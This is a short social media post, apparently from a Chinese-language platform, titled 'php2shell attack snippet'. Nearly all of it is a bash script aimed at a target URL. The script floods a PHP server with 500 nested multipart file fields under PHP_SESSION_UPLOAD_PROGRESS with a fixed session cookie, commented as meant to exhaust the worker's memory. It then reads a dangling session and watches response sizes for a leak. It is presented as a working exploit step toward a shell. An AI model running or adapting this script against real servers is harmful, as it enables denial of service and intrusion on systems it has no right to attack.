php2shell 攻击片段： #!/usr/bin/env bash # php2shell check # ./x.sh https://target/… · @BlockInsight214 · TwKit

@BlockInsight214

php2shell 攻击片段： #!/usr/bin/env bash # php2shell check # ./x.sh https://target/ T=${1:-https://target/} D=/dev/null S=php2shell c(){ curl -sS -o $D "$@"; } p=(-F "file=@$D;filename=x") for i in $(seq 500); do p+=(-F "f[$i][a][b][c]=@$D;filename=") done h=(-H "Cookie: PHPSESSID=$S") q=(-F 'PHP_SESSION_UPLOAD_PROGRESS=1') for r in $(seq 10); do # A: oom the worker c "${h[@]}" "${q[@]}" "${p[@]}" "$T" # B: read the dangling PS(id) o=$(c -D- "${h[@]}" "${q[@]}" "$T") s=$(echo "$o"|awk '/^HTTP/{print $2}') l=$(echo "$o"|grep -i set-cookie|wc -c) # len jump = leak printf '%s %s %s\n' "$r" "$s" "$l" done

曝光 193 · 评论 0 · 点赞 2 · 书签 1